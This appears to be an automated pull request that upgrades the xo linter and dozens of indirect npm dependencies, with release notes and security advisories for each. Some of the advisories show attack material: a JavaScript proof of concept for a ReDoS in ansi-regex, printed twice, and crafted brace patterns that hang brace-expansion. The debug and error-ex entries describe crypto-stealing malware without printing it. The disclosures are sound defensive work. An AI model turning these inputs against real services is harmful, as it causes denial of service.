๐Ÿšจ [security] Update xo 0.44.0 โ†’ 3.0.2 (major)


๐Ÿšจ Your current dependencies have known security vulnerabilities ๐Ÿšจ

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.

What changed?

โœณ๏ธ xo (0.44.0 โ†’ 3.0.2) ยท Repo

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ @โ€‹babel/code-frame (indirect, 7.12.11 โ†’ 7.29.7) ยท Repo ยท Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 2 commits:

โ†—๏ธ @โ€‹babel/helper-validator-identifier (indirect, 7.14.9 โ†’ 7.29.7) ยท Repo ยท Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 2 commits:

โ†—๏ธ @โ€‹types/eslint (indirect, 7.28.0 โ†’ 9.6.1) ยท Repo

Sorry, we couldnโ€™t find anything useful about this release.

โ†—๏ธ @โ€‹types/estree (indirect, 0.0.50 โ†’ 1.0.9) ยท Repo

Sorry, we couldnโ€™t find anything useful about this release.

โ†—๏ธ @โ€‹types/json-schema (indirect, 7.0.9 โ†’ 7.0.15) ยท Repo

Sorry, we couldnโ€™t find anything useful about this release.

โ†—๏ธ @โ€‹typescript-eslint/eslint-plugin (indirect, 4.29.1 โ†’ 8.61.1) ยท Repo ยท Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 7 commits:

โ†—๏ธ @โ€‹typescript-eslint/parser (indirect, 4.29.1 โ†’ 8.61.1) ยท Repo ยท Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 7 commits:

โ†—๏ธ @โ€‹typescript-eslint/scope-manager (indirect, 4.29.1 โ†’ 8.61.1) ยท Repo ยท Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 7 commits:

โ†—๏ธ @โ€‹typescript-eslint/types (indirect, 4.29.1 โ†’ 8.61.1) ยท Repo ยท Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 7 commits:

โ†—๏ธ @โ€‹typescript-eslint/typescript-estree (indirect, 4.29.1 โ†’ 8.61.1) ยท Repo ยท Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 7 commits:

โ†—๏ธ @โ€‹typescript-eslint/visitor-keys (indirect, 4.29.1 โ†’ 8.61.1) ยท Repo ยท Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 7 commits:

โ†—๏ธ acorn (indirect, 7.4.1 โ†’ 8.17.0) ยท Repo

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ ajv (indirect, 6.12.6 โ†’ 6.15.0) ยท Repo

Commits

See the full diff on Github. The new version differs by 9 commits:

โ†—๏ธ ansi-escapes (indirect, 4.3.2 โ†’ 7.3.0) ยท Repo

Release Notes

7.3.0

  • Add synchronized output escapes 9b1e276

v7.2.0...v7.3.0

7.2.0

  • Enable ANSI escape sequences on modern Windows b5d50b8
  • Add tmux support for OSC sequences 6fe0daa

v7.1.1...v7.2.0

7.1.1

  • Fix compatibility for image() with xterm.js (#39) b739b18

v7.1.0...v7.1.1

7.1.0


v7.0.0...v7.1.0

7.0.0

Breaking

Improvements

v6.2.1...v7.0.0

6.2.1

  • Fix compatibility with TypeScript 5.4 3b1f99e

v6.2.0...v6.2.1

6.2.0

  • Add escapes for entering/exiting the alternative screen (#33) 2f25a50

v6.1.0...v6.2.0

6.1.0

v6.0.0...v6.1.0

6.0.0

Breaking

Improvements

v5.0.0...v6.0.0

5.0.0

Breaking

v4.3.2...v5.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 28 commits:

โ†—๏ธ ansi-regex (indirect, 5.0.0 โ†’ 6.2.2) ยท Repo

Security Advisories ๐Ÿšจ

๐Ÿšจ Inefficient Regular Expression Complexity in chalk/ansi-regex

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.

Proof of Concept

import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*

๐Ÿšจ Inefficient Regular Expression Complexity in chalk/ansi-regex

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.

Proof of Concept

import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*

Release Notes

6.2.2

6.2.0

  • Support colon separated parameters to control sequences (#62) df7d75f

v6.1.0...v6.2.0

6.1.0

  • Match cursorSave and cursorRestore escape codes (#45) 02fa893
  • Fix: Handle all valid ST characters (#58) 9cba40d

v6.0.1...v6.1.0

6.0.1

Fixes

  • Fix ReDoS in certain cases (#37)
    You are only really affected if you run the regex on untrusted user input in a server context, which it's very unlikely anyone is doing, since this regex is mainly used in command-line tools.

v6.0.0...v6.0.1

Thank you @yetingli for the patch and reproduction case!

6.0.0

Breaking

v5.0.0...v6.0.0

5.0.1

Fixes (backport of 6.0.1 to v5)

This is a backport of the minor ReDos vulnerability in ansi-regex@<6.0.1, as requested in #38.

  • Fix ReDoS in certain cases (#37)
    You are only really affected if you run the regex on untrusted user input in a server context, which it's very unlikely anyone is doing, since this regex is mainly used in command-line tools.

CVE-2021-3807

https://github.com/chalk/ansi-regex/compare/v5.0.0..v5.0.1

Thank you @yetingli for the patch and reproduction case!

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 17 commits:

โ†—๏ธ argparse (indirect, 1.0.10 โ†’ 2.0.1) ยท Repo ยท Changelog

Release Notes

2.0.1 (from changelog)

Fixed

  • Fix issue with process.argv when used with interpreters (coffee, ts-node, etc.), #150.

2.0.0 (from changelog)

Changed

  • Full rewrite. Now port from python 3.9.0 & more precise following. See doc for difference and migration info.
  • node.js 10+ required
  • Removed most of local docs in favour of original ones.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 15 commits:

โ†—๏ธ balanced-match (indirect, 1.0.2 โ†’ 4.0.4) ยท Repo

Release Notes

3.0.1

  • package.json: Switch from "main" to "exports" (#50) b704dff
  • Create CODE_OF_CONDUCT.md 7e7530b
  • Bump minimist from 1.2.5 to 1.2.8 (#49) 56630b9

v3.0.0...v3.0.1

3.0.0

Major change because this is an ESM now ๐Ÿ‘‹ Nothing else major changed.

v2.0.0...v3.0.0

2.0.0

  • update package-lock.json 943cca0
  • Revert "Revert "travis: update node versions (#30)"" 42b669c
  • Revert "Revert "add np"" 967928c
  • Revert "Revert "update matcha"" a1889df
  • Revert "Revert "add prettier-standard"" a85dffa
  • Revert "Revert "add standard"" a293c68

v1.0.2...v2.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 39 commits:

โ†—๏ธ brace-expansion (indirect, 1.1.11 โ†’ 5.0.6) ยท Repo

Security Advisories ๐Ÿšจ

๐Ÿšจ brace-expansion: Large numeric range defeats documented `max` DoS protection

The max option was being applied too late:

When expanding a single large numeric range like {1..10000000}, the sequence generation loop generates all 10 million intermediate elements before the max limit is applied With max=10, the output is correctly limited to 10 items, but the process still allocates ~505 MB and spends ~800ms building the full intermediate array.

Workaround

Ensure the string to be expanded doesn't contain more values than the desired max item count.

๐Ÿšจ brace-expansion: Zero-step sequence causes process hang and memory exhaustion

Impact

A brace pattern with a zero step value (e.g., {1..2..0}) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory.

The loop in question:

for (let i = x; test(i, y); i += incr) {

test() is one of

function lte(i: number, y: number) {
return i <= y
}
function gte(i: number, y: number) {
return i >= y
}

The increment is computed as Math.abs(0) = 0, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing a RangeError. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation.

This affects any application that passes untrusted strings to expand(), or by error sets a step value of 0. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes.

Patches

Upgrade to versions

  • 5.0.5+

A step increment of 0 is now sanitized to 1, which matches bash behavior.

Workarounds

Sanitize strings passed to expand() to ensure a step value of 0 is not used.

๐Ÿšจ brace-expansion: Zero-step sequence causes process hang and memory exhaustion

Impact

A brace pattern with a zero step value (e.g., {1..2..0}) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory.

The loop in question:

for (let i = x; test(i, y); i += incr) {

test() is one of

function lte(i: number, y: number) {
return i <= y
}
function gte(i: number, y: number) {
return i >= y
}

The increment is computed as Math.abs(0) = 0, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing a RangeError. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation.

This affects any application that passes untrusted strings to expand(), or by error sets a step value of 0. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes.

Patches

Upgrade to versions

  • 5.0.5+

A step increment of 0 is now sanitized to 1, which matches bash behavior.

Workarounds

Sanitize strings passed to expand() to ensure a step value of 0 is not used.

๐Ÿšจ brace-expansion: Zero-step sequence causes process hang and memory exhaustion

Impact

A brace pattern with a zero step value (e.g., {1..2..0}) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory.

The loop in question:

for (let i = x; test(i, y); i += incr) {

test() is one of

function lte(i: number, y: number) {
return i <= y
}
function gte(i: number, y: number) {
return i >= y
}

The increment is computed as Math.abs(0) = 0, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing a RangeError. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation.

This affects any application that passes untrusted strings to expand(), or by error sets a step value of 0. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes.

Patches

Upgrade to versions

  • 5.0.5+

A step increment of 0 is now sanitized to 1, which matches bash behavior.

Workarounds

Sanitize strings passed to expand() to ensure a step value of 0 is not used.

๐Ÿšจ brace-expansion: Zero-step sequence causes process hang and memory exhaustion

Impact

A brace pattern with a zero step value (e.g., {1..2..0}) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory.

The loop in question:

for (let i = x; test(i, y); i += incr) {

test() is one of

function lte(i: number, y: number) {
return i <= y
}
function gte(i: number, y: number) {
return i >= y
}

The increment is computed as Math.abs(0) = 0, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing a RangeError. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation.

This affects any application that passes untrusted strings to expand(), or by error sets a step value of 0. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes.

Patches

Upgrade to versions

  • 5.0.5+

A step increment of 0 is now sanitized to 1, which matches bash behavior.

Workarounds

Sanitize strings passed to expand() to ensure a step value of 0 is not used.

๐Ÿšจ brace-expansion Regular Expression Denial of Service vulnerability

A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is a5b98a4f30d7813266b221435e1eaaf25a1b0ac5. It is recommended to upgrade the affected component.

๐Ÿšจ brace-expansion Regular Expression Denial of Service vulnerability

A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is a5b98a4f30d7813266b221435e1eaaf25a1b0ac5. It is recommended to upgrade the affected component.

๐Ÿšจ brace-expansion Regular Expression Denial of Service vulnerability

A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is a5b98a4f30d7813266b221435e1eaaf25a1b0ac5. It is recommended to upgrade the affected component.

๐Ÿšจ brace-expansion Regular Expression Denial of Service vulnerability

A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is a5b98a4f30d7813266b221435e1eaaf25a1b0ac5. It is recommended to upgrade the affected component.

Release Notes

4.0.1

  • fmt 5a5cc17
  • Fix potential ReDoS Vulnerability or Inefficient Regular Expression (#65) 0b6a978

v4.0.0...v4.0.1

4.0.0

v3.0.0...v4.0.0

As a precaution to not risk breaking anything with 278132b, this is a new semver major release

3.0.1

  • pkg: publish on tag 3.x 3059c07
  • fmt 8229e6f
  • Fix potential ReDoS Vulnerability or Inefficient Regular Expression (#65) 15f9b3c

v3.0.0...v3.0.1

3.0.0

v2.0.1...v3.0.0

2.0.2

  • pkg: publish on tag 2.x 14f1d91
  • fmt ed7780a
  • Fix potential ReDoS Vulnerability or Inefficient Regular Expression (#65) 36603d5

v2.0.1...v2.0.2

1.1.12

  • pkg: publish on tag 1.x c460dbd
  • fmt ccb8ac6
  • Fix potential ReDoS Vulnerability or Inefficient Regular Expression (#65) c3c73c8

v1.1.11...v1.1.12

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 57 commits:

โ†—๏ธ braces (indirect, 3.0.2 โ†’ 3.0.3) ยท Repo ยท Changelog

Security Advisories ๐Ÿšจ

๐Ÿšจ Uncontrolled resource consumption in braces

The NPM package braces fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In lib/parse.js, if a malicious user sends "imbalanced braces" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.

Commits

See the full diff on Github. The new version differs by 12 commits:

โ†—๏ธ browserslist (indirect, 4.16.7 โ†’ 4.28.2) ยท Repo ยท Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ builtin-modules (indirect, 3.2.0 โ†’ 5.2.0) ยท Repo

Release Notes

5.2.0


v5.1.0...v5.2.0

5.1.0


v5.0.0...v5.1.0

5.0.0

Breaking

  • Remove punycode since it's deprecated

Improvements


v4.0.0...v5.0.0

4.0.0

Breaking

  • Require Node.js 18 75f59d3
  • This package is now pure ESM. Please read this.
  • This package now only exports a static list of built-ins 75f59d3
    • To get a list of built-ins for the current Node.js version, use the built-in API: import {builtinModules} from 'node:module'

v3.3.0...v4.0.0

3.3.0

  • Update static list of built-in modules e95a7b5
  • Improve browser compatibility (#15) 0a73da3

v3.2.0...v3.3.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 14 commits:

โ†—๏ธ caniuse-lite (indirect, 1.0.30001249 โ†’ 1.0.30001799) ยท Repo ยท Changelog

โ†—๏ธ chalk (indirect, 4.1.2 โ†’ 5.6.2) ยท Repo

Release Notes

5.6.2

  • Fix vulnerability in 5.6.1, see: #656

5.6.0

  • Make WezTerm terminal use true color a8f5bf7

v5.5.0...v5.6.0

5.5.0


v5.4.1...v5.5.0

5.4.1

  • Fix navigator not defined ReferenceError (#642) 4ebb62d

v5.4.0...v5.4.1

5.4.0

  • Update CIRCLECI environments to return level 3 color support f838120

v5.3.0...v5.4.0

5.3.0

  • Add sideEffects field to package.json 5aafc0a
  • Add support for Gitea Actions (#603) 29b8569

v5.2.0...v5.3.0

5.2.0

v5.1.2...v5.2.0

5.1.2

v5.1.1...v5.1.2

5.1.1

  • Improved the names of exports introduced in 5.1.0 (#567) 6e0df05
    • We of course preserved the old names.

v5.1.0...v5.1.1

5.1.0

v5.0.1...v5.1.0

5.0.1

  • Add main field to package.json for backwards compatibility with some developer tools 85f7e96

v5.0.0...v5.0.1

5.0.0

Breaking

  • This package is now pure ESM. Please read this.
    • If you use TypeScript, you will want to stay on Chalk 4 until TypeScript 4.6 is out. Why.
    • If you use a bundler, make sure it supports ESM and that you have correctly configured it for ESM.
    • The Chalk issue tracker is not a support channel for your favorite build/bundler tool.
  • Require Node.js 12.20 fa16f4e
  • Move some properties off the default export to individual named exports:
    • chalk.Instance โ†’ Chalk
    • chalk.supportsColor โ†’ supportsColor
    • chalk.stderr โ†’ chalkStderr
    • chalk.stderr.supportsColor โ†’ supportsColorStderr
  • Remove .keyword(), .hsl(), .hsv(), .hwb(), and .ansi() coloring methods (#433) 4cf2e40
    • These were not commonly used and added a lot of bloat to Chalk. You can achieve the same by using the color-convert package.
  • The tagged template literal support moved into a separate package: chalk-template (#524) c987c61
-import chalk from 'chalk';
+import chalkTemplate from 'chalk-template';

-chalk`2 + 3 = {bold ${2 + 3}}`;
+chalkTemplate`2 + 3 = {bold ${2 + 3}}`;

Improvements

v4.1.0...v5.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ ci-info (indirect, 3.2.0 โ†’ 4.4.0) ยท Repo ยท Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ commander (indirect, 2.20.3 โ†’ 8.3.0) ยท Repo ยท Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ confusing-browser-globals (indirect, 1.0.10 โ†’ 1.0.11) ยท Repo ยท Changelog

Release Notes

1.0.11

1.0.11 (2017-08-09)

๐Ÿ› Bug Fix

  • create-react-app

    • #2884 Improve offline heuristic for proxied environments. (@bsyk)

      When a Yarn proxy is set, we will check its connectivity if we cannot reach Yarn's registry. This is often the case when DNS lookups must be made through the proxy.

    • #2853 Allow use of scoped packages with a pinned version. (@wileybenet)

  • react-dev-utils

    • #2796 Properly escape HTML tags in error overlay. (@ccloli)

      Elements printed in their entirety would sometimes render as HTML. This should no longer happen and should properly render as text.

  • react-dev-utils, react-scripts

  • react-scripts

๐Ÿ’… Enhancement

  • react-scripts
    • #2818 Allow sourcemaps to be disabled. (@viankakrisna)

      As applications grow more complex, it is possible webpack may run out of memory while generating source maps. They may now be disabled by setting GENERATE_SOURCEMAP=false.

    • #2913 Allow flags to be passed to node when running react-scripts. (@koistya)

    • #2574 Upgrade to webpack@3. (@themre)

    • #2747 Simplify webpack configuration using Rule.oneOf. (@Furizaa)

  • react-dev-utils, react-scripts
  • create-react-app
    • #2785 Change error wording and list conflicting files when initializing app. (@OwenFlood)
  • react-dev-utils
  • eslint-config-react-app, react-scripts
  • eslint-config-react-app

๐Ÿ“ Documentation

๐Ÿ  Internal

  • create-react-app, eslint-config-react-app, react-dev-utils, react-error-overlay, react-scripts
  • eslint-config-react-app
  • Other
  • react-scripts

Committers: 26

Migrating from 1.0.10 to 1.0.11

Inside any created project that has not been ejected, run:

npm install --save --save-exact react-scripts@1.0.11

or

yarn add --exact react-scripts@1.0.11

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 39 commits:

โ†—๏ธ cosmiconfig (indirect, 7.0.0 โ†’ 9.0.2) ยท Repo ยท Changelog

Release Notes

Too many releases to show here. View the full release notes.

โ†—๏ธ cross-spawn (indirect, 7.0.3 โ†’ 7.0.6) ยท Repo ยท Changelog

Security Advisories ๐Ÿšจ

๐Ÿšจ Regular Expression Denial of Service (ReDoS) in cross-spawn

Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

Release Notes

7.0.6 (from changelog)

Bug Fixes

  • update cross-spawn version to 7.0.5 in package-lock.json (f700743)

7.0.5 (from changelog)

Bug Fixes

  • fix escaping bug introduced by backtracking (640d391)

7.0.4 (from changelog)

Bug Fixes

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 15 commits:

โ†—๏ธ debug (indirect, 4.3.2 โ†’ 4.4.3) ยท Repo ยท Changelog

Security Advisories ๐Ÿšจ

๐Ÿšจ debug@4.4.2 contains malware after npm account takeover

Impact

On 8 September 2025, the npm publishing account for debug was taken over after a phishing attack. Version 4.4.2 was published, functionally identical to the previous patch version, but with a malware payload added attempting to redirect cryptocurrency transactions to the attacker's own addresses from within browser environments.

Local environments, server environments, command line applications, etc. are not affected. If the package was used in a browser context (e.g. a direct <script> inclusion, or via a bundling tool such as Babel, Rollup, Vite, Next.js, etc.) there is a chance the malware still exists and such bundles will need to be rebuilt.

The malware seemingly only targets cryptocurrency transactions and wallets such as MetaMask. See references below for more information on the payload.

Patches

npm removed the offending package from the registry over the course of the day on 8 September, preventing further downloads from npm proper.

On 13 September, the package owner published new patch versions to help cache-bust those using private registries who might still have the compromised version cached. This version is functionally identical to the previously known-good version, published as a patch version bump above the compromised version.

Users should upgrade to the latest patch version, completely remove their node_modules directory, clean their package manager's global cache, and rebuild any browser bundles from scratch.

Those operating private registries or registry mirrors should purge the offending versions from any caches.

References

Point of Contact

In the event suspicious behavior is still observed for the package listed in this security advisory after performing all of the above cleaning operations (see Patches above), please reach out via one of the following channels of communication:

Release Notes

4.4.3

Functionally identical release to 4.4.1.

Version 4.4.2 is compromised. Please see #1005.

4.4.1

What's Changed

  • fix(Issue-996): replace whitespaces in namespaces string with commas globally by @pdahal-cx in #997
  • fixes #987 fallback to localStorage.DEBUG if debug is not defined by @lzilioli in #988

New Contributors

Full Changelog: 4.4.0...4.4.1

4.4.0

Fixes (hopefully) the inefficient regex warnings in .enable().

Minor version as this is invariably going to break certain users who misuse the .enable() API and expected it to work with regexes, which was never supported nor documented. That's on you, sorry - that functionality won't be added back.

Full Changelog: 4.3.7...4.4.0

4.3.7

What's Changed

Full Changelog: 4.3.6...4.3.7

4.3.6

What's Changed

  • Avoid using deprecated RegExp.$1 by @bluwy in #969

New Contributors

Full Changelog: 4.3.5...4.3.6

4.3.5

Patch

Thank you @calvintwr for the fix.

4.3.4

What's Changed

  • Add section about configuring JS console to show debug messages by @gitname in #866
  • Replace deprecated String.prototype.substr() by @CommanderRoot in #876

New Contributors

Full Changelog: 4.3.3...4.3.4

4.3.3

Patch Release 4.3.3

This is a documentation-only release. Further, the repository was transferred. Please see notes below.

  • Migrates repository from https://github.com/visionmedia/debug to https://github.com/debug-js/debug. Please see notes below as to why this change was made.
  • Updates repository maintainership information
  • Updates the copyright (no license terms change has been made)
  • Removes accidental epizeuxis (#828)
  • Adds README section regarding usage in child procs (#850)

Thank you to @taylor1791 and @kristofkalocsai for their contributions.


Repository Migration Information

I've formatted this as a FAQ, please feel free to open an issue for any additional question and I'll add the response here.

Q: What impact will this have on me?

In most cases, you shouldn't notice any change.

The only exception I can think of is if you pull code directly from https://github.com/visionmedia/debug, e.g. via a "debug": "visionmedia/debug"-type version entry in your package.json - in which case, you should still be fine due to the automatic redirection Github sets up, but you should also update any references as soon as possible.

Q: What are the security implications of this change?

If you pull code directly from the old URL, you should update the URL to https://github.com/debug-js/debug as soon as possible. The old organization has many approved owners and thus a new repository could (in theory) be created at the old URL, circumventing Github's automatic redirect that is in place now and serving malicious code. I (@Qix-) also wouldn't have access to that repository, so while I don't think it would happen, it's still something to consider.

Even in such a case, however, the officially released package on npm (debug) would not be affected. That package is still very much under control (even more than it used to be).

Q: What should I do if I encounter an issue related to the migration?

Search the issues first to see if someone has already reported it, and then open a new issue if someone has not.

Q: Why was this done as a 'patch' release? Isn't this breaking?

No, it shouldn't be breaking. The package on npm shouldn't be affected (aside from this patch release) and any references to the old repository should automatically redirect.

Thus, according to all of the "APIs" (loosely put) involved, nothing should have broken.

I understand there are a lot of edge cases so please open issues as needed so I can assist in any way necessary.

Q: Why was the repository transferred?

I'll just list them off in no particular order.

  • The old organization was defunct and abandoned.
  • I was not an owner of the old organization and thus could not ban the non-trivial amount of spam users or the few truly abusive users from the org. This hindered my ability to properly maintain this package.
  • The debug ecosystem intends to grow beyond a single package, and since new packages could not be created in the old org (nor did it make sense for them to live there), a new org made the most sense - especially from a security point of view.
  • The old org has way, way too many approved members with push access, for which there was nothing I could do. This presented a pretty sizable security risk given that many packages in recent years have fallen victim to backdoors and the like due to lax security access.

Q: Was this approved?

Yes.[archive]

Q: Do I need to worry about another migration sometime in the future?

No.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 26 commits:

โ†—๏ธ deep-is (indirect, 0.1.3 โ†’ 0.1.4) ยท Repo

Commits

See the full diff on Github. The new version differs by 3 commits:

โ†—๏ธ electron-to-chromium (indirect, 1.3.799 โ†’ 1.5.376) ยท Repo ยท Changelog

Commits

See the full diff on Github. The new version differs by 2 commits:

โ†—๏ธ enhanced-resolve (indirect, 0.9.1 โ†’ 5.24.0) ยท Repo ยท Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ env-editor (indirect, 0.4.2 โ†’ 1.3.0) ยท Repo

Release Notes

1.3.0


v1.2.0...v1.3.0

1.2.0

  • Add support for Visual Studio Code - Insiders db5f1b8
  • Add vi as keyword for Vim editor d525056

v1.1.0...v1.2.0

1.1.0

v1.0.0...v1.1.0

1.0.0

Breaking

v0.5.0...v1.0.0

0.5.0

v0.4.2...v0.5.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 13 commits:

โ†—๏ธ error-ex (indirect, 1.3.2 โ†’ 1.3.4) ยท Repo

Security Advisories ๐Ÿšจ

๐Ÿšจ error-ex@1.3.3 contains malware after npm account takeover

Impact

On 8 September 2025, an npm publishing account for error-ex was taken over after a phishing attack. Version 1.3.3 was published, functionally identical to the previous patch version, but with a malware payload added attempting to redirect cryptocurrency transactions to the attacker's own addresses from within browser environments.

Local environments, server environments, command line applications, etc. are not affected. If the package was used in a browser context (e.g. a direct <script> inclusion, or via a bundling tool such as Babel, Rollup, Vite, Next.js, etc.) there is a chance the malware still exists and such bundles will need to be rebuilt.

The malware seemingly only targets cryptocurrency transactions and wallets such as MetaMask. See references below for more information on the payload.

Patches

npm removed the offending package from the registry over the course of the day on 8 September, preventing further downloads from npm proper.

On 13 September, the package owner published new patch versions to help cache-bust those using private registries who might still have the compromised version cached. This version is functionally identical to the previously known-good version, published as a patch version bump above the compromised version.

Users should update to the latest patch version, completely remove their node_modules directory, clean their package manager's global cache, and rebuild any browser bundles from scratch.

Those operating private registries or registry mirrors should purge the offending versions from any caches.

References

Point of Contact

In the event suspicious behavior is still observed for the package listed in this security advisory after performing all of the above cleaning operations (see Patches above), please reach out via one of the following channels of communication:

Release Notes

1.3.4

Functionally identical release to 1.3.2.

Version 1.3.3 is compromised. Please see debug-js/debug#1005.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 3 commits:

โ†—๏ธ escalade (indirect, 3.1.1 โ†’ 3.2.0) ยท Repo

Release Notes

3.2.0

Patches

  • Declare separate ESM and CommonJS TypeScript definitions: a72e1c3
    Previously, only ESM definitions were shipped but were exported in a way that could cause tool/resolution ambiguity.

Chores

  • Update Node.js version matrix in CI suite: a8c6820

Full Changelog: v3.1.2...v3.2.0

3.1.2

Patches

Chores


Full Changelog: v3.1.1...v3.1.2

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 7 commits:

โ†—๏ธ eslint (indirect, 7.32.0 โ†’ 10.5.0) ยท Repo ยท Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 23 commits:

โ†—๏ธ eslint-config-xo (indirect, 0.38.0 โ†’ 0.53.2) ยท Repo

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ eslint-formatter-pretty (indirect, 4.1.0 โ†’ 7.1.0) ยท Repo

Release Notes

7.1.0

  • Support VSCode built-in hyperlink function (#67) afcde59

v7.0.0...v7.1.0

7.0.0

Breaking

Improvements

  • Add universal hyperlinks for filename headers 206879b

v6.0.1...v7.0.0

6.0.1

v6.0.0...v6.0.1

6.0.0

Breaking

v5.0.0...v6.0.0

5.0.0

Breaking

Improvements

v4.1.0...v5.0.0

Does any of this look wrong? Please let us know.

